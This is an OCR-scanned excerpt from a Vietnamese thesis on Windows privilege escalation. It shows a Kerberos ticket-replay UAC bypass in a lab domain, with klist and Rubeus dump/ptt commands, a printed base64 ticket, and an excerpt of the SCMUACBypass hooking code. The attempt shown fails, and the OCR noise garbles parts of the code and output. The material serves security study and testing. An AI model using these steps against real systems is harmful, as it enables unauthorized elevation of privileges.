Cách thức khai thác lỗ hỗng

Một phần của tài liệu Công cụ kiểm thử leo thang đặc quyền trên Windows thông qua các giao thức xác thực (Trang 48 - 56)

DE LEO THANG ĐẶC QUYEN

2.1. Lỗ héng trong quá trình xác thực của Kerberos

2.1.2. Cách thức khai thác lỗ hỗng

Từ lỗ hồng nêu trên, khi ta đã xác thực với tư cách là người dùng miền, cách đơn giản nhất để lạm dụng hệ thống là làm cho việc kiểm tra MachinelD không thành

35

Trần Quốc Hoàn - BI9DCAT077

Đồ án tốt nghiệp Xác thực và kiêm soát đặc quyền trên Windows công. Gia tri của biến toàn cục LsapGlobalMachinelD là một giá trị ngẫu nhiên được tạo

bởi LSASS trong quá trình khởi động máy tính.

Một phương pháp là tạo ra một định dạng KRB-CRED của vé dịch vụ cho hệ

thống cục bộ và lưu lại. Sau đó, khởi động lại hệ thống để khởi tạo lại

LsapGlobalMachinelD, và khi quay trở lại hệ thống, tải lại vé đã được lưu trước đó. Tại

điểm này, vé sẽ có một MachinelD khác nhau, va Kerberos sẽ bỏ qua các ràng buộc như

KERB AUTH DATA TOKEN RESTRICTIONS, như được mô tả trong tài liệu

chính thức của Microsoft. Bạn có thé sử dụng lệnh klist tích hợp trong Windows cùng với bộ công cụ Rubeus để thực hiện điều này.

- Pau tiên, sử dụng lệnh klist để lấy vé cho dịch vụ RPC của máy tính cục bộ:

klist get RPC/%computername%

36

Trần Quốc Hoàn - BI9DCAT077

Đồ án tốt nghiệp Xác thực và kiêm soát đặc quyền trên Windows

BBM walpe_env - oF x Microsoft Windows [Version 10.0.18362.30] a

(c) 2019 Microsoft Corporation. All rights reserved.

C:\Users\pentester\Desktop\share>klist get RPC/%COMPUTERNAMEX

Current LogonId is 0:@x4b49e

A ticket to RPC/PC-WX1903 has been retrieved successfully.

Cached Tickets: (3)

#@> Client: pentester @ PRONIKNOVENIYE.LOCAL

Server: krbtgt/PRONIKNOVENIYE.LOCAL @ PRONTKNOVENTYE.LOCAL KerbTicket Encryption Type: AES-256-CTS-HMAC-SHA1-96

Ticket Flags @x40e10000 -> forwardable renewable initial pre_authent name_canonicalize Start Time: 12/29/2023 11:29:58 (local)

End Time: 12/29/2023 21:29:58 (local) Renew Time: 1/5/2024 11:29:01 (local)

Session Key Type: AES-256-CTS-HMAC-SHA1-96 Cache Flags: @x1 -> PRIMARY

Kde Called: DC@1-WINSV19.proniknoveniye.local

#1> Client: pentester @ PRONIKNOVENIYE.LOCAL

Server: RPC/PC-WX1903 @ PRONIKNOVENIYE.LOCAL

KerbTicket Encryption Type: AES-256-CTS-HMAC-SHA1-96

Ticket Flags @x40a100@@ -> forwardable renewable pre_authent name_canonicalize Start Time: 12/29/2023 11:29:58 (local)

End Time: 12/29/2023 21:29:58 (local) Renew Time: 1/5/2024 11:29:01 (local)

Session Key Type: AES-256-CTS-HMAC-SHA1-96 Cache Flags: @

Kde Called: DC@1-WINSV19.proniknoveniye.local

#2> Client: pentester @ PRONIKNOVENIYE.LOCAL

Server: LDAP/DC@1-WINSV19.proniknoveniye.local/proniknoveniye.local @ PRONIKNOVENIYE.LOCAL KerbTicket Encryption Type: AES-256-CTS-HMAC-SHA1-96

Ticket Flags @x4@a500@@ -> forwardable renewable pre_authent ok_as_delegate name_canonicalize Start Time: 12/29/2023 11:29:02 (local)

End Time: 12/29/2023 21:29:01 (local) Renew Time: 1/5/2024 11:29:01 (local)

Session Key Type: AES-256-CTS-HMAC-SHA1-96 Cache Flags: @

Kde Called: DC@1-WINSV19.proniknoveniye.local

Hình 2.19: Lệnh klist để lấy ticket cho dịch vụ RPC của máy tính cục bộ

37

Trần Quốc Hoàn - BI9DCAT077

Đồ án tốt nghiệp Xác thực và kiêm soát đặc quyên trên Windows

- Sử dụng Rubeus dé trích xuất vé dich vu được yêu cầu:

Rubeus.exe dump /server:%computername% /nowrap

walpe_env

C:\Users\pentester\Desktop\share>Rubeus.exe dump /server:%COMPUTERNAME% /nowrap

|Plo _——_- _ _—

[ _—\W_—l1111_) eA ILI lw |

Action: Dump Kerberos Ticket Data (Current User)

$-1-5-21-3407162097-421674631-3260644744-1103

name_canonicalize, pre_authent, renewable, forwardable

QcRZZXMNzp3KSwvFmx+b877eB4U4kNU66XNYðgoK1ao=

[*] Target server : PC-WX1903 [*] Current LUID : @x4b49e

UserName : pentester

Domain : PRONIKNOVENIYE LogonId : @x4b49e

UserSID :

AuthenticationPackage : Kerberos

LogonType : Interactive

LogonTime : 12/29/2023 11:29:02 AM LogonServer : DC@1-WINSV19

LogonServerDNSDomain : PRONIKNOVENIYE. LOCAL

UserPrincipalName : pentester@proniknoveniye.local

ServiceName : RPC/PC-WX1903

ServiceRealm : PRONIKNOVENTYE.LOCAL

UserName : pentester (NT_PRINCIPAL)

UserRealm : PRONIKNOVENIYE.LOCAL

StartTime : 12/29/2023 11:29:58 AM EndTime : 12/29/2023 9:29:58 PM RenewTill : 1/5/2024 11:29:01 AM

Flags H

KeyType : aes256_cts_hmac_shal Base64(key) :

Base64EncodedTicket ‡

doIF2jCCBdagAwIBBaEDAgEWoolE1DCCBNBhgg TMMILEyKADAgEFoRYbFFBST@5JS@5PVkVOSV1FLkxPQ@FMa SdxpeZJImGUqsJ Fr8hjGbQ4wyeh513qCvq7 jMIF5Pcyj5un4Jz6u7QwEmv@HEObOVVh1Im6b1D1r /wuBMygm@P2K2k1U 1LWWhF z@HheZ6cQKYNa@wbuqZ+yCcY TWCy jKAD7upAyKI903HzgDm@Hc96eI++VYa7e5Gomt2zHz0ieTXADplykNGzZu 7YdyBxgywF FhjeOaFgMA44Lr FNhn4GezK9UMQQvYwNWP6UHBpbyezQJ F40Vukb+ar1lYvHYKoLr1GHXRk3djltef2JaD w28V4ukk8frVqxil80kQkgEQPYihucxTZeTQiq/FQIX87F+4qt2S+N7 /SA1J EK6UX6pFfrJQ3x1+XLj9McmgRdGQLdjZ N1didla/3dnB3LWOjwZ0J SADXCVUEygBY@iiF Zn1XUsOcVFha7waimgwdDajuxfLtgxbPDtn6z66Nm8EZSLWH4zeKwT IBMoGHsA9gD7M@ye+W+vaogn4yb75Wr4agPD16LzZEOW1zFjxYOOykw2tawj/qkdcbTAcpYma3r79vvU9i4TQS5kpSowg Y17mqFfQnq+4TgBrj9VHVoUd2PLx098kCeYxhoanfXsva3/Ni1CmATHOH/SPcRxLy+Heu3eXmtPEEKB39RzDp15Nst CB7qADAgEAooHmBTHjfYHgMTHdoTHaMTHXMTHUoCswKaADAgESoSTETEHEWWVzDc6dyksLxZsfm/0+3geF07DVOu1zh TIyOTE@Mjk10FqnERgPMjAyNDAxMDUwNDI5MDFaqBYbFFBST@5JS@5PVkVOSV1FLkxPQ@FMqRswGaADAgECoRIwEBsD

Hình 2.20: Công cu Rubeus để trích xuất RPC ticket

38

Trần Quốc Hoàn - BI9DCAT077

Đồ án tốt nghiệp Xác thực và kiêm soát đặc quyên trên Windows

- Khởi động lại may chủ và chuyên lại vé dich vu do Rubeus xuất trở lại bộ

nhớ:

Rubeus.exe ptt /ticket:<BASE64 TICKET>

Bl walpe_env

Microsoft Windows [Version 10.0.18362.30]

(c) 2019 Microsoft Corporation. All rights reserved.

C:\Users\pentester\Desktop\share>Rubeus.exe ptt /ticket:doIF2jCCBdagAwIBBaEDAgEWooIE1DCCBNBhggTMMII) Ed JEUWQ165LsRsbVpQonSwA9gDXLD8d1tis ImmBpvrh13tkVORSdxpeZImGUqsJFr8hjGbQ4wYeh513qCvq7jMIF5Pcyj5un4Jz!

xyNXgA8qTVU6Xs1Q6ptcQ2sP8D47u7In/LkdugujQRGzWUnCoC1LWWhF z@HhceZ6cQKYNa@wbuqZ+yCcY TWCyjKAD7upAyKI903H:

#6 juw+cWxz2rZwoZYIcstw4NmGQp2hC4BG0D235zUsgu5 FAEZH7YdyBxgywF Fhj eOaFgMA44Lr FNhn4GezK9UMQQVYwNWP6UHBp!

BSpt7rxSeUyY2eF pwhBiadyLXcKSyeIsoW+7Dn63zZMJoXAR11w28V4ukk8FrVqxil80kQkgEQPYihucxTZeTQigq/FQIX87F+4q:

NQ7v74/FdR61I7uEHYFBzkUMhnkBSJ IMOCHS676F04Z+/GpiLYyN1did1a/3dnB3LWOjwZ0J SADXCVUEygBYOiiFZn1XUsOcVFha’

ủAuZTX5MfShw1PXtr-vikTQbZ190TuBiQpnaRDPTsGGkXt@hy37gTBMoGHsA9gD7Mðye+tl+vaogn4yb75llr-4agPD16LzEOll1zFJxYI 549oFmLtkn4Bcc6bvtiTf@t1sLulokaaArc5NBgfZY1+y3Uswak3jY17mqFfQnq+4TgBrj9VHVoUd2PLx098kCeYxhoanfXsva3/N:

MD5z18Z1evLc017p69P6hr-1YJbyf54zuvQ6qxVJ3CooYfKOB8TCB7qADAgEAooHmBTH7jfYHgMTHdoTHaMTHXMTHUoCswKaADAgE:

youcDBQBAoQAApREYDzTwMjMxMjT5MDQyOTU4waqYRGA8yMDTzMTTyOTEỉMjk10FqnERgPMjAyNDAxMDUwNDT5MDFaqBYbFFBST6.

) | - —|

ATE oP Ett ve

\l || |LI tlo) 1} Lile | /\ J /C/

[*] Action: Import Ticket

[+] Ticket successfully imported!

C:\Users\pentester\Desktop\share>klist Current LogonId is 9:0x503f7

Cached Tickets: (3)

#0ằ

#1>

Client: pentester @ PRONIKNOVENIYE.LOCAL

Server: krbtgt/PRONIKNOVENIYE.LOCAL @ PRONIKNOVENIYE.LOCAL KerbTicket Encryption Type: AES-256-CTS-HMAC-SHA1-96

Ticket Flags @x40e10000 -> forwardable renewable initial pre_authent name_canonicalize Start Time: 12/29/2023 11:33:28 (local)

End Time: 12/29/2023 21:33:28 (local) Renew Time: 1/5/2024 11:33:28 (local)

Session Key Type: AES-256-CTS-HMAC-SHA1-96 Cache Flags: ỉx1 -> PRIMARY

Kde Called: DC@1-WINSV19

Client: pentester @ PRONIKNOVENIYE.LOCAL

Server: RPC/PC-WX1903 @ PRONIKNOVENIYE.LOCAL

KerbTicket Encryption Type: AES-256-CTS-HMAC-SHA1-96

Ticket Flags 0x40a10999 -> forwardable renewable pre_authent name_canonicalize Start Time: 12/29/2023 11:29:58 (local)

End Time: 12/29/2923 21:29:58 (local) Renew Time: 1/5/2024 11:29:01 (local)

Session Key Type: AES-256-CTS-HMAC-SHA1-96

Hình 2.21: Công cu Rubeus dé chuyên lai RPC ticket vào bộ nhớ đệm

Tại thời điểm này, do có MachinelD trong vé khác với giá trị LsapGlobalMachinelD, việc lọc mã xác thực mạng (có thể) sẽ không còn diễn ra nữa.

39

Trần Quốc Hoàn - BI9DCAT077

Đồ án tốt nghiệp Xác thực và kiêm soát đặc quyền trên Windows Bạn có thể sử dụng xác thực Kerberos để truy cập Trình quản lý điều khiển dịch vụ

(Service Control Manager - SCM) có tên pipe hoặc TCP bang cách sử dụng HOST/HOSTNAME hoặc RPC/HOSTNAME SPN. Điều quan trọng cần lưu ý là API Win32

của SCM luôn sử dụng xác thực Thương lượng. James Forshaw đã tạo ra một Proof of

Concept (PoC) đơn giản có tên SCMUACBypass.cpp[14] móc nối (hook) các API AcquireCredentialsHandle và InitializeSecurityContextW dé thay đổi tên gói xác thực

(pszPackage) được SCM sử dụng thành Kerberos, cho phép SCM sử dụng Kerberos trong quá trình xác thực cục bộ, một phân của đoạn code như sau:

SECURITY_STATUS SEC_ENTRY AcquireCredentialsHandleWHook(

_In_opt_ LPWSTR pszPrincipal, // Name of principal _In_ LPWSTR pszPackage, // Name of package

_In_ unsigned long fCredentialUse, // Flags indicating use _In_opt_ void* pvLogonld, /J Pointer to logon ID

_In_opt_ void* pAuthData, // Package specific data

_In_opt_ SEC_GET_ KEY FN pGetKeyFn, // Pointer to GetKey() func _In_opt_ void* pvGetKeyArgument, // Value to pass to GetKey() _Out_ PCredHandle phCredential, // (out) Cred Handle

_Out_opt_ PTimeStamp ptsExpiry // (out) Lifetime (optional)

)

{

WCHAR kerberos_package[] = MICROSOFT_KERBEROS_NAME_W;

printf("AcquireCredentialsHandleHook called for package %ls\n", pszPackage);

if ( wcsicmp(pszPackage, L"Negotiate") == 0) { pszPackage = kerberos_package;

printf("Changing to %ls package\n", pszPackage);

}

return AcquireCredentialsHandleW(

pszPrincipal, pszPackage, fCredentialUse, pvLogonld, pAuthData, pGetKeyFn,

pvGetKeyArgument, phCredential, ptsExpiry

);

}

SECURITY_STATUS SEC_ENTRY InitializeSecurityContextWHook(

_In_opt_ PCredHandle phCredential, // Cred to base context _In_opt_ PCtxtHandle phContext, // Existing context (OPT) _ln opt SEC _WCHAR* pszTargetName, // Name of target _In_ unsigned long fContextReg, // Context Requirements _In_ unsigned long Reserved1, // Reserved, MBZ

In unsigned long TargetDataRep, // Data rep of target

40

Tran Quốc Hoan - BI9DCAT077

Đồ án tốt nghiệp Xác thực và kiêm soát đặc quyền trên Windows

_In_opt_ PSecBufferDesc pInput, // Input Buffers _In_ unsigned long Reserved2, // Reserved, MBZ

_Inout_opt_ PCtxtHandle phNewContext, // (out) New Context handle _Inout_opt_ PSecBufferDesc pOutput, // (inout) Output Buffers

_Out_ unsigned long* pfContextAttr, // (out) Context attrs _Out_opt_ PTimeStamp ptsExpiry // (out) Life span (OPT)

) {

// Change the SPN to match with the UAC bypass ticket you've registered.

printf("InitializeSecurityContext called for target %ls\n", pszTargetName);

SECURITY STATUS status = InitializeSecurityContextW(

phCredential, phContext, &spn[0],

fContextReq, Reserved1, TargetDataRep, pInput, Reserved2, phNewContext,

pOutput, pfContextAttr, ptsExpiry

);

printf("InitializeSecurityContext status = %08X\n", status);

return status;

Iw.

int wmain(int argc, wchar_t** argv)

{

I]...

PSecurityFunctionTableW table = InitSecuritylnterfaceW();

table->AcquireCredentialsHandleW = AcquireCredentialsHandleWHook;

table->InitializeSecurityContextW = InitializeSecurityContextWHook;

IT a.

Thử chạy công cu của James Forshaw, nhưng không lấy được quyền hệ thống

trong trường hợp này.

41

Tran Quốc Hoàn - BI9DCAT077

Đồ án tốt nghiệp Xác thực và kiêm soát đặc quyền trên Windows

BH walpe_env - oF x

C:\Users\pentester\Desktop\share>klist Current LogonId is 9:0x593f7

Cached Tickets: (3)

#0> Client: pentester @ PRONIKNOVENIYE.LOCAL

Server: krbtgt/PRONIKNOVENIYE.LOCAL @ PRONIKNOVENIYE.LOCAL KerbTicket Encryption Type: AES-256-CTS-HMAC-SHA1-96

Ticket Flags @x4@e1000@ -> forwardable renewable initial pre_authent name_canonicalize Start Time: 12/29/2023 11:33:28 (local)

End Time: 12/29/2023 21:33:28 (local) Renew Time: 1/5/2024 11:33:28 (local)

Session Key Type: AES-256-CTS-HMAC-SHA1-96 Cache Flags: ỉx1 -> PRIMARY

Kde Called: DC@1-WINSV19

#1> Client: pentester @ PRONIKNOVENIYE.LOCAL

Server: RPC/PC-WX1903 @ PRONIKNOVENIYE.LOCAL

KerbTicket Encryption Type: AES-256-CTS-HMAC-SHA1-96

Ticket Flags @x4@a1@00@ -> forwardable renewable pre_authent name_canonicalize Start Time: 12/29/2023 11:29:58 (local)

End Time: 12/29/2023 21:29:58 (local) Renew Time: 1/5/2024 11:29:01 (local)

Session Key Type: AES-256-CTS-HMAC-SHA1-96 Cache Flags: @

Kde Called:

#2> Client: pentester @ PRONIKNOVENIYE.LOCAL

Server: LDAP/DC@1-WINSV19.proniknoveniye.local/proniknoveniye.local @ PRONIKNOVENIYE.LOCAL KerbTicket Encryption Type: AES-256-CTS-HMAC-SHA1-96

Ticket Flags @x4@a5000@ -> forwardable renewable pre_authent ok_as_delegate name_canonicalize Start Time: 12/29/2023 11:33:28 (local)

End Time: 12/29/2023 21:33:28 (local) Renew Time: 1/5/2024 11:33:28 (local)

Session Key Type: AES-256-CTS-HMAC-SHA1-96 Cache Flags: @

Kde Called: DC@1-WINSV19.proniknoveniye. local

C: \Users\pentester\Desktop\share>SCMUACBypass.exe

AcquireCredentialsHandleHook called for package Negotiate Changing to Kerberos package

InitializeSecurityContext called for target HOST/127.0.0.1 InitializeSecurityContext status = 00090312

InitializeSecurityContext called for target HOST/127.0.0.1 InitializeSecurityContext status = 90000000

Error opening SCM 5

Hình 2.22: Sử dung công cu SCMUACBypass dé leo thang đặc quyén

Có thé việc vượt qua bộ lọc Token trong LsalSetSupplementalTokenInfo đã không thành công, đồ án sẽ giới thiệu về các phương pháp khác dé lấy được token hợp

lệ dé tạo một service và từ đó leo thang đặc quyên.

42

Trần Quốc Hoàn - BI9DCAT077

Đồ án tốt nghiệp Xác thực và kiêm soát đặc quyền trên Windows

Một phần của tài liệu Công cụ kiểm thử leo thang đặc quyền trên Windows thông qua các giao thức xác thực (Trang 48 - 56)

Tải bản đầy đủ (PDF)

(82 trang)